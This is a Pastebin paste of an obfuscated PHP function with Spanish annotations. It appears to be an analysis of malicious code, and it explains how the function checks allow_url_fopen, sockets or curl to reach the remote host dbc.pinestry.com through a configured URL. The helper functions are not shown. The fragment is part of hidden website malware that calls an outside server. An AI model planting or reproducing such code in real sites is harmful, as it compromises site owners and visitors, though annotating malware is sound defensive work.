Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. // Esta funcion comprueba algunas funcionalidades disponibles en el servidor.
  2. // Dependiendo de estas, llama a l__1 (acceso remoto a ficheros), l__2 (usando sockets)
  3. // y l__3 (usando curl)
  4. function l__0($_9){
  5.  
  6.     // El round es igual a 1
  7.     // Comprueba si la instalacion de PHP tiene habilidata el acceso a remoto a ficheros
  8.     // usando FTP o HTTP
  9.     if(ini_get(allow_url_fopen) == round(0+0.2+0.2+0.2+0.2+0.2)){
  10.         return l__1($_9);
  11.    
  12.     } else {
  13.        
  14.         // Si el acceso remoto a ficheros no esta habilitado, primero intenta abrir
  15.         // un socket y llama a l__2 y si no se abre, mira si la funcion curl_init
  16.         // existe, si existe llama a l__3
  17.  
  18.         $_10=parse_url(ADMIN_REDIR_URL);
  19.  
  20.         // Abre un socket a dbc.pinestry.com por el puerto 80, con un timeout de 15 segundos
  21.         if ( $_11 = @fsockopen($_10[host],round(0+40+40),$_12,$_13,round(0+3.75+3.75+3.75+3.75))) {
  22.             return l__2($_11,$_10['host'],$_10['path'],$_9);
  23.         } elseif (@function_exists(curl_init)) {
  24.             return l__3($_9);
  25.         }
  26.     }
  27. }